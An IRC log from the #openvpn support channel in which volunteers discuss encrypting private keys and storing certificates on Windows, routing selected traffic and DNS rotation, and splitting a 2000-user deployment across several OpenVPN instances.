00:30 -!- kunji1 [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has joined #openvpn
00:32 -!- kunji [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has quit [Ping timeout: 248 seconds]
00:33 -!- kunji [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has joined #openvpn
00:35 -!- arekm [~arekm@pld-linux/arekm] has quit [Read error: Connection reset by peer]
00:35 -!- kunji1 [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has quit [Ping timeout: 252 seconds]
00:38 -!- kunji1 [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has joined #openvpn
00:40 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Read error: Connection reset by peer]
00:41 -!- kunji [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has quit [Ping timeout: 255 seconds]
00:43 -!- kunji [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has joined #openvpn
00:44 -!- kunji1 [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has quit [Ping timeout: 246 seconds]
00:47 -!- kunji1 [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has joined #openvpn
00:47 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
00:48 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
00:49 -!- kunji [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has quit [Ping timeout: 264 seconds]
00:51 -!- Orbi [~opera@109.129.7.235] has joined #openvpn
00:56 -!- kunji [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has joined #openvpn
00:58 -!- Orbi [~opera@109.129.7.235] has quit [Ping timeout: 245 seconds]
00:59 -!- kunji1 [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has quit [Ping timeout: 264 seconds]
00:59 -!- kunji1 [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has joined #openvpn
01:00 -!- brute11k [~brute11k@89.249.235.236] has joined #openvpn
01:01 -!- kunji [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has quit [Ping timeout: 256 seconds]
01:17 -!- kunji [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has joined #openvpn
01:20 -!- kunji1 [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has quit [Ping timeout: 255 seconds]
01:28 -!- UberDuper [~UberDuper@wsip-174-77-66-158.ph.ph.cox.net] has quit [Read error: Connection reset by peer]
01:28 -!- UberDuper [~UberDuper@wsip-174-77-66-158.ph.ph.cox.net] has joined #openvpn
01:38 -!- swat [~swat@ubuntu/member/swat] has joined #openvpn
01:44 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 248 seconds]
01:51 -!- afuentes [~afuentes@213.37.131.197.static.user.ono.com] has joined #openvpn
01:52 -!- b1rkh0ff [~b1rkh0ff@178.77.1.200] has joined #openvpn
01:57 -!- ade_b [~Ade@109.58.215.97.bredband.tre.se] has joined #openvpn
01:57 -!- ade_b [~Ade@109.58.215.97.bredband.tre.se] has quit [Changing host]
01:57 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
02:02 -!- tuxick [~userMurf@tuxick.xs4all.nl] has left #openvpn []
02:04 -!- kunji [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has quit [Ping timeout: 245 seconds]
02:05 -!- kunji [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has joined #openvpn
02:07 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has joined #openvpn
02:07 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has quit [Remote host closed the connection]
02:11 -!- joako [~joako@opensuse/member/joak0] has joined #openvpn
02:12 < joako> Is there any way I can fully intergrate the OpenVPN client with Windows, so the user doesn´t need to type their password twice?
02:15 <+pekster> joako: Not really. You might be able to use some creative PKCS11 (ie: smart card) sceniaro if you're already using smartcards to log users in locally
02:16 < joako> What if I set it up with certificates only? Could I issue the certificates automatically through Windows and load the CA into OpenVPN server?
02:17 <+pekster> Optionally, you could store the required password somewhere that uses whatever programming APIs Windows gives you to decrypt it and pass it back on the management interface. An inferior version of that approach is to store the password in plaintext inside an EFS or bitlocker-protected folder, but that's usually a bad idea since any malware would have access to the decrypted version
02:17 <+pekster> joako: Same problem, basically, unless you're willing to keep unencrypted private keys on the laptop (which is trivial for an attacker who knows what they're doing to swipe from a non-disk-encrypted PC in just a couple of minute)
02:17 -!- joako_ [~joako@opensuse/member/joak0] has joined #openvpn
02:18 <+pekster> Traditionally, you encrypt the private key so such compromise as I noted above doesn't occur due to exposure of the key file
02:21 < joako_> I don´t know how Windows handles storing the certificates -- and quite frankly I don´t care. Could OpenVPN use the certificates stored in Windows directly?
02:21 -!- joako [~joako@opensuse/member/joak0] has quit [Ping timeout: 245 seconds]
02:22 <+pekster> No
02:23 <+pekster> OpenVPN does not use the "Certificate Manager" keystore
02:23 <+pekster> It supports only keypairs via flat-files and PKCS11 providers
02:27 < joako_> Actually I am reading here and it does appear possible. The only issue would be to generate a cryptoapicert that would be universal to all machines
02:28 < kunji> joako: mind linking what you're reading?
02:28 <+pekster> joako_: Oh, I stand corrected. See the --cryptoapicert option in the manpage
02:29 < joako_> 1) http://serverfault.com/questions/38528/openvpn-with-a-windows-certificate-services-pki 2) http://www.mentby.com/Group/openvpn-users/cryptoapicert-and-windows-7.html etc
02:29 <@vpnHelper> Title: vpn - OpenVPN with a Windows Certificate Services PKI - Server Fault (at serverfault.com)
02:31 <+pekster> joako_: So, you can import the pkcs12 file containing both keys. I don't know what you're going on about generating a universal cert, because that doesn't appear to be required or something you'd want in such a setup
02:32 < joako_> pekster: No I would deploy the certificate through Windows autoenrollment but I would need the OpenVPN configuration to be idential for every machine so I don´t need to manage that
02:33 <+pekster> That gets a little messy, because *all* certs signed by the CA (even the ones for computer$ accounts, etc) will be seen as valid accounts. Additionally, since you presumably don't generate CRLs every time you un-join a computer or remove an AD user, old keypairs from terminated employees would be valid VPN credentials
02:33 <+pekster> You could do some magic on the server-side I suppose via ccd files or using the key subject or fingerprint or something, but that sounds like a lot of work on your end to code that
02:34 <+pekster> Maybe you can get Windows auto-enrollment to use a special CA with a PKI specifically for VPN access, but you still need to deal with revocation or otherwise verifying a cert belongs to an active user that should have access
02:35 <+pekster> I have very limited experience with server-side certificate services in AD
02:38 <+pekster> joako_: Oh, and see the note in your 2nd link too about the scope of the program execution; normal users (even when they are "administrators") under UAC can't add routes, so OpenVPN runs as the actual 'administrator' user. Choices to get around that are 1) disable UAC or 2) as the reply there suggests, add the keypair to the 'administrator' keystore on the PC, not the user keystore (which probably screws up your auto-enrollment options)
02:38 <+pekster> How's that for some required reading? ;)
02:40 -!- kunji1 [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has joined #openvpn
02:43 -!- kunji [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has quit [Ping timeout: 256 seconds]
02:43 < kunji1> Hmm, I don't know the application here exactly, but would it be acceptable to just not use passwords?  Windows will be doing your security, so if they can login then they can get on the VPN right?  So then, why not just use certs without passwords?  I'm new to VPN, so.. don't bash this noob too hard :P
02:43 <+pekster> kunji1: What do you mean "windows will be doing your security" ?
02:44 <+pekster> You either need to auth users by --auth-user-pass-verify or by X509
02:45 <+pekster> Yes, you can use X509 via PKCS11 or the cryptoapicert features, but I just identified all the compilicating factors with the cryptoapicert features on recent (>=Vista) versions
02:46 <+pekster> kunji1: Unless you mean leave the key unencrypted on the hard disk. Ask your friendly neighborhood hacker you trust to show you how fast they can pull files off your hard disk some time ;)
02:47 <+pekster> (malware is also a threat, even if you do bitlocker encryption of your disk, so no trying to squirm out on that technicality either)
02:47 <+pekster> Java 0-day anyone? ;)
02:48 < kunji1> pekster: mind going through the standard process real quick for me then?  I was likening it to passwordless ssh setup in my head, but that may not be applicable here.
02:49 < joako_> So then OpenVPN is not secure?
02:50 < kunji1> joako_: It's secure, unless you really botch your config.
02:51 < joako_> kunji1: I currently have a standard config and the keys are just stored on my hard drive
02:53 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Ping timeout: 245 seconds]
02:53 < kunji1> joako_: Well, thing about that is as, pekster was saying, is that the security is only as good as that of your OS in that situation.
02:56 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
03:00 <+pekster> kunji1: you mean pubkey ssh auth? OpenVPN's X509 support is exactly like that, except it uses X509 for deligating trust
03:00 <+pekster> CryptoAPI just keep the plaintext cert in the keystore and encrypts it itself
03:01 <+pekster> It's a fine way to store it (provided you trust the encryption and SSO scheme it uses) but the issue is generating it automatically to the keystore and calling it for OpenVPN
03:01 < kunji1> pekster: Hmm, so you're fine as long as your files are secure, of course this becomes much harder as soon as we're not just talking about my files, but everyone at a company... and on windows as well.
03:02 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
03:02 <+pekster> kunji1: What are you going on about? Yes, files can be stolen a variety of ways, even more so from unencrypted disks. This is why your ssh private key is encrypted with a passphrase, and so should your on-disk OpenVPN keys
03:04 < kunji1> pekster: I'm referring to the case where you need to automate ssh communication between servers.
03:05 <+pekster> Then yes, if you're doing that non-interactively you need to store unencrypted keys somewhere, or store the decryption password in plaintext somewhere (not really any better)
03:06 <+pekster> Hopefully people doing that have hardened their systems as possible and limited the ssh key usage on the remote end to the specific command that it needs to perform (as is the recommendation)
03:13 < kunji1> pekster: Yes indeed, that's something I'm much more familiar with than vpn.  Hmm, ... the openvpn documentation could really have been more explicit about that, it's mentioned in a pretty nonchalant manner (about passwords).  Same for the Ubuntu documentation on installing openvpn.... I don't think that mentions it at all.
03:13 <+pekster> Same with ssh, if you get down to it. If you're handling private keys or pkcs12 files, you presumably know whwat you're doing
03:14 <+pekster> It's rare to find an average user who knows how to use 'openssl rsa' commands that is completely ignorant of what they're doing
03:16 -!- Castorrr [Castor_@CPE-72-133-200-232.wi.res.rr.com] has quit []
03:33 < kunji1> pekster: .. so I'm still missing the part where we decided RAM is so secure if the HD isn't...
03:36 -!- kobolduk [~kobolduk@office.prolocation.net] has joined #openvpn
03:37 -!- joako_ [~joako@opensuse/member/joak0] has quit [Ping timeout: 245 seconds]
03:37 -!- Azrael808 [~peter@212.161.9.162] has joined #openvpn
03:43 <+pekster> kunji1: RAM can't be (easily) attacked offline
03:44 <+pekster> If you power off, the RAM is dead. The encrypted cert is save, provided it's encrypted such that brute-force is non-trivial
03:44 <+pekster> Boom. Next security problem?
03:45 <+pekster> (and honestly, if you're worried about someone flash-freezing your DRAM chips, you should keep your laptop on you at all times and a loaded firearm in your hand)
03:45 <+pekster> !shotgun
03:45 <@vpnHelper> "shotgun" is (#1) the most effective form of physical security or (#2) <hyper_ch> shotgun security? <EugeneKay> If you try to physically attack my network, I chase you with a shotgun.
03:45 < kunji1> Of course, I was assuming online, offline is possible, but as you say, it's nontrivial.
03:45 <+pekster> keys aren't kept in RAM unless you specify --persist-key
03:45 <+pekster> They're re-read from disk each tiem they're required
03:46 <+pekster> (session keys are of course in RAM, but those rotate hourly by default)
03:48 < kunji1> Hmm, they're read into RAM though right, when required, and then that RAM is freed or overwritten?
03:52 < con3x> What is a good channel to ask a question about kernel routes. Some of my routes seem to be ignored and the default route is taken.
03:53 < con3x> I'm sure the routes are set up correctly and they appear to work in some cases, enough to start watching a video on netflix.
03:53 < kunji1> ##networking is a good place to ask, make sure to post your routes for them, and what ones seem to be ignored.
03:53 < con3x> Thanks :)
03:56 -!- Minnebo [~Minnebo@78-20-135-159.access.telenet.be] has joined #openvpn
04:01 < kunji1> pekster: Shotgun approach is nice :P  About the flash freezing, well there's easier ways to get at the RAM, it does need to be an initially powered on system (assume locked or whatnot), but depending on exactly what hardware it is (and even the luck of manufacturing tolerances really) it can be possible to reboot the machine and get a good dump of the RAM contents to say a USB.  This is of course typically easy to stop by not having the c
04:02 <+pekster> Sure. I'm unclear how this has to do with not storing your plaintext key on a disk somewhere
04:02 -!- joako_ [~joako@99-153-161-249.lightspeed.miamfl.sbcglobal.net] has joined #openvpn
04:02 -!- joako_ [~joako@99-153-161-249.lightspeed.miamfl.sbcglobal.net] has quit [Changing host]
04:02 -!- joako_ [~joako@opensuse/member/joak0] has joined #openvpn
04:02 <+pekster> OpenVPn can't protect you from RAM-reading attacks (online or offline.) OpenVPN can leverage openssl's ability to decrypt RSA keys on the fly, however
04:04 -!- Minnebo_ [~Minnebo@78-20-132-224.access.telenet.be] has joined #openvpn
04:04 -!- Minnebo [~Minnebo@78-20-135-159.access.telenet.be] has quit [Ping timeout: 240 seconds]
04:04 <+pekster> It's the difference between leaving your housekey on top of your doormat and putting it in one of those locked key boxes for the realitor to access
04:04 <+pekster> Pick how you want to secure access to your network ;)
04:05 < kunji1> pekster: It doesn't at this point, not precisely.  I was tending towards saying that RAM and HD security is not terribly different, but I suppose I see the point in the case of say theft or misplacement of devices.
04:06 -!- Minnebo__ [~Minnebo@78-20-132-224.access.telenet.be] has joined #openvpn
04:06 <+pekster> Or a java 0-day that breaks out of its sandbox and copys your c:\secret\my-unencrypted-key.key file to a dropbox account
04:06 < kunji1> Hmm, I like the analogy :P, can't I take my key with me T.T
04:06 <+pekster> That's much less bad than if your key was encrypted
04:06 <+pekster> w/than if/when/
04:07 <+pekster> s@w/@s/@
04:07 <+pekster> :(
04:07 <+pekster> Stealing files isn't just for physical theft anymore! ;)
04:08  * Wintereise steals pekster.
04:08 <+pekster> I'd better revoke my certificate and publish a CRL for myself :P
04:08 < kunji1> Yeah, I need to sleep... that's what I'm going to blame for whenever I say something stupid in here (it is 5 A.M. where I am).
04:08 < Wintereise> :x
04:09 -!- Minnebo_ [~Minnebo@78-20-132-224.access.telenet.be] has quit [Ping timeout: 245 seconds]
04:09 < con3x> Got no response in #networking :( so:
04:09 < con3x> Hello there, I'm having a small problem with routes, I'm trying
04:09 < con3x>                to route certain ip addresses through an OpenVPN server, but
04:09 < con3x>                some aren't actually passing through and are just going out over
04:09 < con3x>                the default gateway; here is the output of ip route show:
04:09 < con3x>                http://pastebin.com/z0KtdEAW. Can anybody see and problems with
04:09 < kunji1> I've heard enough about CRL.....    stupid vehicular networks
04:10 <+pekster> protip: space after your URLs
04:10 <+pekster> (many consoles like to select-by-word and include them)
04:11 < con3x> I'll keep that in mind :)
04:11 <+pekster> So what, a destination matching one of those routes isn't sent across tun0, I presume?
04:11 < kunji1> Yeah, I never know what to do about the end of the sentence when that happens, usually I end up just leaving out the period altogether.
04:11 <+pekster> Example: http://google.com . More sample info about google goes here
04:11 <@vpnHelper> Title: Google (at google.com)
04:12 < con3x> http://pastebin.com/z0KtdEAW
04:12 <+pekster> Got it ;)
04:12 <+pekster> So, my question?
04:13 < con3x> Yeah, instead it just goes over a default route (if I run traceroute)
04:13 < con3x> I'll run one just now
04:13 <+pekster> Can you verify 'ip route get $target_ip' shows the tun0 exit/src?
04:14 < kunji1> Yeah, pekster, that's what I was asking about the other day, couldn't I just make all the traffic go over the vpn by setting the appropriate routes?
04:14 <+pekster> kunji1: If you can route by destination IP, yes. I forget what your specific issue was
04:14 -!- Mimiko [~Mimiko@89.28.88.177] has joined #openvpn
04:16 < con3x> I think I may have just solved my own problem
04:18 < con3x> Its going out over the WAN, but the IP's seem to be different when I resolve them in python than when I run a traceroute
04:19 <+pekster> round-robbin or low-TTL values will do that; don't rely on DNS in such cases
04:19 <+pekster> (or even a high TTL if the value changes between when you resolve it and the client does so again later)
04:19 <+pekster> IP-based route overrides are the wrong way to do web filtering, if that's your goal
04:21 < con3x> Just trying to get around localization guards for netflix.
04:22 <+pekster> Web proxy too hard?
04:23 <+pekster> I *think* silverlight respects the browser proxy setting (it'd have to for locations that require a proxy for outbound Internet access at the very least)
04:24 < con3x> Won't work on all the devices in the network :) also I want it to selectivly route so the video images etc come off the CDN
04:25 < kunji1> pekster: Hmm, well I was trying to setup a bridged connection to that effect.  I was able to try it today outside my network, and it wasn't working... It would connect with no errors, but no traffic was going over the vpn.  Tried it again when I got home, but at that point I was inside my network again... so I don't think the return routing for packets was correct for when I'm connecting outside of my network.  So I think I needed to add 
04:25 <+pekster> Remind me again why you don't just use tun?
04:27 -!- joako_ [~joako@opensuse/member/joak0] has quit [Read error: Connection reset by peer]
04:28 -!- Minnebo__ [~Minnebo@78-20-132-224.access.telenet.be] has quit [Ping timeout: 252 seconds]
04:29 < kunji1> pekster: games, though we were considering a 2 daemon solution, but I'm not sure if it's accessing even the server right now, let alone the internet.  That is, it would claim to connect fine, but I'm not able to ping the server or any other machines on the LAN.  I've changed some settings, so I'm going to try again tomorrow, and if that doesn't work I'll be bringing the logs etc..
04:30 < con3x> Apparently the DNS entries for cbp-us.nccp.netflix.com change in seconds
04:30 <+pekster> Ah, k. If you can't ping your LAN, you need to verify the addressing is correct on the client interface, and if it is, check your firewalls and bridge setup for errors. tcpdump/wireshark things liberally if you get stuck
04:31 -!- tMobile4a03 [~T4@n218250229105.netvigator.com] has joined #openvpn
04:31 < con3x> Either that or I'm doing my lookup wrong
04:32 <+pekster> Are you pulling all the A records returned?
04:33 <+pekster> It might still rotate within a larger set of IPs, but I get 8 IPs back for a dig request there
04:34 < con3x> Same here, just looking a little deeper. that domain itself has only a CNAME record
04:34 -!- tyteen4a03 [T4@n218250229105.netvigator.com] has quit [Ping timeout: 252 seconds]
04:34 < con3x> Which as far as I can tell routes to a rotating base of AWS Servers
04:35 < kunji1> Can addressing on the server be incorrect?  Because my guess was server addressing, and that's what I tried changing to test tomorrow.  firewalls are disabled while testing.  The bridge itself appears to be just fine (it comes up without any errors and I can ping everything from that machine).  Ah good ol wireshark... I do need to learn how to use that properly, every actual network I'm on they would get really pissed about it though (mai
04:35 < con3x> I might just tell DNSMasq to forward only to those 8 and see how long it works for...
04:35 < con3x> /s/forward/return the ips for
04:37 <+pekster> con3x: Wrong. the CNAME returns multiple A records which you clearly aren't handling
04:37 <+pekster> Now that list could still be part of a larger rotation, but it's not a single IP
04:37 <+pekster> https://pastee.org/2y6f5
04:37 < kunji1> By addressing on the server I mean the ip and range the server pushes to the client.
04:38 <+pekster> kunji1: The client might have failed to apply the fake-DHCP reply. Or the server might not be pasing the options that match your LAN network
04:38 <+pekster> This is why you verify client addressing is correct
04:39 <+pekster> kunji1: Oh, and it also rotates the list of 8 you get back.  Yup, you can't do that (as I noted above.) How about a web proxy ;)
04:40 <+pekster> con3x: ^^ that was for you
04:40 <+pekster> It'll work until the TTL expires, or about 60 seconds tops
04:40 <+pekster> ie: don't do that
04:40 < kunji1> Yeah, that second part, it wasn't very clear in what I read that it should match the LAN network, that's what I changed for testing tomorrow, it did report getting an IP, and it was in the configured range, and that did show properly when running ipconfig.
04:42 < con3x> pekster: Sorry, never meant it was a single IP, points towards a domain with 8 A records
04:42 < kunji1> con3x: There's probably an easier solution, but you could probably use snort for that.
04:43 < con3x> https://pastee.org/gevag
04:43 < con3x> and they change really frequently
04:46 -!- Minnebo [~Minnebo@office.exabyte.be] has joined #openvpn
04:48  * con3x writes a script to update routes every 60 seconds, FOR SCIENCE!
04:48 <+pekster> What happens when 1 second after your 1/60s script runs that the TTL expires?
04:49 <+pekster> Don't keep trying to pound a nail in with a fistfull of water. Use a browser proxy
04:49 -!- tMobile4a03 [~T4@n218250229105.netvigator.com] has quit [Read error: Connection timed out]
04:50 < con3x> It won't work for the other devices sadly
04:50 <+pekster> transparent proxying works nicely
04:50 <+pekster> Or put them on a unique subnet and policy route
04:50 <+pekster> Or a handful of smarter chioces
04:50 -!- tyteen4a03 [T4@n218250229105.netvigator.com] has joined #openvpn
04:50 -!- tyteen4a03 [T4@n218250229105.netvigator.com] has quit [Write error: Connection reset by peer]
04:51 < con3x> How would I do that? :)
04:51 <+pekster> A transparent proxy? Plenty of guides online to help
04:51 <+pekster> LARTC is a good place to start if you want to learn about policy routing and split routing: http://lartc.org/howto/
04:51 <@vpnHelper> Title: Linux Advanced Routing & Traffic Control HOWTO (at lartc.org)
04:52 < con3x> Thanks again :)
04:56 -!- Minnebo [~Minnebo@office.exabyte.be] has quit [Quit: Ik ga weg]
05:34 -!- holmen_ is now known as holmen
05:52 -!- mattock is now known as mattock_afk
05:53 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
06:05 -!- mattock_afk is now known as mattock
06:10 -!- donhoe [~jeepers@c-69-247-138-234.hsd1.tn.comcast.net] has quit [Ping timeout: 245 seconds]
06:11 -!- donhoe [~jeepers@c-69-247-138-234.hsd1.tn.comcast.net] has joined #openvpn
06:15 -!- donhoe [~jeepers@c-69-247-138-234.hsd1.tn.comcast.net] has quit [Ping timeout: 245 seconds]
06:29 -!- donhoe [~jeepers@31.193.12.99] has joined #openvpn
07:10 -!- dazo_afk is now known as dazo
07:58 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
08:04 -!- kobolduk [~kobolduk@office.prolocation.net] has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
08:08 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 252 seconds]
08:21 -!- ade_b [~Ade@129.178.182.25] has joined #openvpn
08:21 -!- ade_b [~Ade@129.178.182.25] has quit [Changing host]
08:21 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
08:24 -!- Azrael808 [~peter@212.161.9.162] has quit [Quit: Ex-Chat]
08:52 -!- ade_ [~Ade@129.178.182.25] has joined #openvpn
08:53 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 248 seconds]
08:55 -!- ade_ is now known as ade_b
08:56 -!- ade_b [~Ade@129.178.182.25] has quit [Changing host]
08:56 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
09:00 -!- u0m3_ [~Radu@92.80.72.203] has joined #openvpn
09:01 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has joined #openvpn
09:03 -!- u0m3 [~Radu@92.80.72.203] has quit [Ping timeout: 248 seconds]
09:04 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
09:20 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has quit [Ping timeout: 245 seconds]
09:21 -!- ducblangis [~Ducblangi@24-117-207-111.cpe.cableone.net] has joined #openvpn
09:33 -!- s51itxsyc [~s51itxsyc@124.207.123.109] has joined #openvpn
09:35 < s51itxsyc> guys how make it if we have roughly 2000 users online sametime, run them in a single subnet, or split serveral in multi conf files?
09:36 -!- BtbN [~btbn@btbn.de] has quit [Quit: Bye]
09:36 -!- BtbN [~btbn@btbn.de] has joined #openvpn
09:45 -!- Azrael808 [~peter@212.161.9.162] has joined #openvpn
09:45 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has joined #openvpn
09:47 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has quit [Client Quit]
09:50 <@ecrist> s51itxsyc: you have that many people connected to openvpn?
09:50 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
09:53 -!- bauruine [~stefan@91.236.116.112] has quit [Quit: Leaving]
09:55 -!- swat [~swat@ubuntu/member/swat] has quit [Quit: Leaving.]
09:55 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has joined #openvpn
09:58 < ducblangis> Holy.Shit.Man
09:59 < ducblangis> 2000
10:04 <@dazo> s51itxsyc: multiple conf files, on different ports per openvpn instance, but need to be separate (for simplicity in config) VPN subnets, but you can add routes so they can access the subnet(s) they need
10:05 <@dazo> s51itxsyc: but if all in one single subnet is a strict requirement, then there's no other options .... except perhaps switching to TAP and use bridging - but that will fail instantly, due to the massive broadcast traffic
10:06 <@dazo> (you would probably need between 10 and 20 openvpn instances too, for that amount of users to make it perform reasonably well if all clients are using all their bandwidth)
10:07 < wh1p> to be honest if your going to role out a vpn to 2000 users i would just not even consider going the open source route
10:07 < wh1p> with stuff like that you need real business support
10:07 <@dazo> wh1p: no problem with open source software in such enterprise setup ... but rather go for the OpenVPN AS Server would be advisable
10:08 < wh1p> it can be done and im not going to stop you but plan it the open source way and then go and plan it the proper way using proprietery cisco, draytek, sonicwall etc etc
10:08 <@dazo> OpenVPN AS is a commercial supported solution by OpenVPN Technologies, though ....
10:09 < wh1p> you will find your life easier, the support better and the service overall will probably be amazing with the proper dsetup in comparison to a home cooked idea
10:09 <@dazo> but my point is that, that doesn't exclude open source (in general) as a viable solution .... as long as you got the support need covered
10:09 < wh1p> my honest opinion is that going opensource is all cool and that but if something goes wrong and you cant fix it yourself, the proper business route with something like that really needs to be there
10:10 <+rob0> Most "real business support" options I see are incredibly lame. But to be fair, I doubt that applies to OpenVPN Technologies.
10:10 <+rob0> If you can't fix it yourself, hire someone who can.
10:11 < wh1p> im not saying dont go open source i lvoe the idea but with something that crucial it seems like it could cause really big problems for staff
10:11 <@dazo> wh1p: so you're saying New York Stock Exchange did a bad move when going for Red Hat Enterprise Linux?
10:11 < wh1p> ^rewad my comment above i love open source and the ideas and contributions behind it
10:11 <@dazo> but open source doesn't mean it's no good support solution around it ....
10:12 <@dazo> even commercial
10:12 < wh1p> but a vpn being the back bone for 2000 machines could be a really critical thjing to business operations
10:14 < wh1p> ok so let me go back to your original question
10:15 <@dazo> well, hardware solutions might be better suited ... but that doesn't mean open source isn't suitable either
10:16 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
10:17 < wh1p> never said it wasnt suitable
10:18 < s51itxsyc> thanks all your comments guys dazo wh1p rob0 :)
10:18 <+rob0> oh, I didn't address the question :)
10:19 <+rob0> The biggest drawback to one server for that many users is the lack of threading support.
10:19 <@dazo> wh1p: you did say this: "a vpn to 2000 users i would just not even consider going the open source route" .... that sounds like you don't find it suitable
10:19 <+rob0> For that reason I would probably break it up into several.
10:21 < wh1p> dazo: i did say that because with something on that scale imho i would not like to be the one support a half baked role out, sure if it was a,ll planned and rolled out properly and had some some of support plan with openvpn it would be great
10:22 -!- master_of_master [~master_of@p57B52905.dip.t-dialin.net] has quit [Ping timeout: 252 seconds]
10:23 -!- master_of_master [~master_of@p57B55DD0.dip.t-dialin.net] has joined #openvpn
10:23 -!- digilink [~digilink@unaffiliated/digilink] has quit [Ping timeout: 272 seconds]
10:26 -!- kingtuna [~tuna@173-162-122-197-miami.hfc.comcastbusiness.net] has quit [Ping timeout: 248 seconds]
10:26 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 260 seconds]
10:30 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
10:34 < con3x> I wrote a script to constantly add the netflix routes to my routing table
10:35 < con3x> Seems to be working good enough :)
10:39 -!- suprsonic [~suprsonic@services.landonsanderson.com] has joined #openvpn
10:39 < suprsonic> what the recommended key length for openssl?
10:41 -!- s34n [~chatzilla@ip-208-76-93-210.mvdsl.com] has joined #openvpn
10:47 -!- Azrael808 [~peter@212.161.9.162] has quit [Ping timeout: 255 seconds]
10:51 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 240 seconds]
10:59 < s34n> I had a working config for gnome's network manager openvpn plugin on my last computer
10:59 < s34n> When can I find that to copy it to my new computer?
10:59 -!- suprsonic [~suprsonic@services.landonsanderson.com] has left #openvpn []
11:01 -!- Azrael808 [~peter@212.161.9.162] has joined #openvpn
11:04 -!- defswork [~andy@141.0.50.105] has joined #openvpn
11:04 -!- afuentes [~afuentes@213.37.131.197.static.user.ono.com] has quit [Ping timeout: 260 seconds]
11:04 -!- Orbi [~opera@anon-149-21.vpn.ipredator.se] has joined #openvpn
11:06 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
11:10 -!- raidz_away is now known as raidz
11:11 -!- Orbi [~opera@anon-149-21.vpn.ipredator.se] has quit [Ping timeout: 240 seconds]
11:22 < s34n> I'm a little bit confused about the ip addresses requested by the gnome network manager plugin
11:22 < s34n> it wants a gateway, a remote ip address, and a local ip address
11:23 < s34n> I was expecting to provide the address of the vpn server and have my client negotiate things from there with the server
11:23 -!- NChief [tomme@unaffiliated/nchief] has quit [Quit: leaving]
11:24 -!- NChief [tomme@unaffiliated/nchief] has joined #openvpn
11:32 < kunji1> I'm a complete noob at OpenVPN, but from the documentation, you should be able to do it that way, maybe not while using the gnome plugin, but then again, I don't remember having to fill out all of that for the plugin either.  I thought you give the plugin your openVPN client configuration file, no?
11:34 <+rob0> Well, that's just it. If you're asking Network Manager questions in the #openvpn channel, you might not get much help.
11:34 <+rob0> !notovpn
11:34 <@vpnHelper> "notovpn" is "notopenvpn" is your problem is not about openvpn, and while we try to be helpful, you may have a better chance of finding your answer if you ask your question in a channel related to your problem
11:51 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 264 seconds]
12:15 -!- tyteen4a03 [~T4@n218250229105.netvigator.com] has joined #openvpn
12:17 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
12:18 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
12:21 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
12:25 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
12:25 -!- b1rkh0ff [~b1rkh0ff@178.77.1.200] has quit [Ping timeout: 255 seconds]
12:26 -!- Mimiko [~Mimiko@89.28.88.177] has quit []
12:26 -!- Orbi [~opera@anon-185-138.vpn.ipredator.se] has joined #openvpn
12:28 -!- Hugh_Man [~Hugh_Man@c-68-61-229-187.hsd1.mi.comcast.net] has joined #openvpn
12:29 -!- Azrael808 [~peter@212.161.9.162] has quit [Ping timeout: 252 seconds]
12:31 -!- izibi [~julian@unaffiliated/izibi] has joined #openvpn
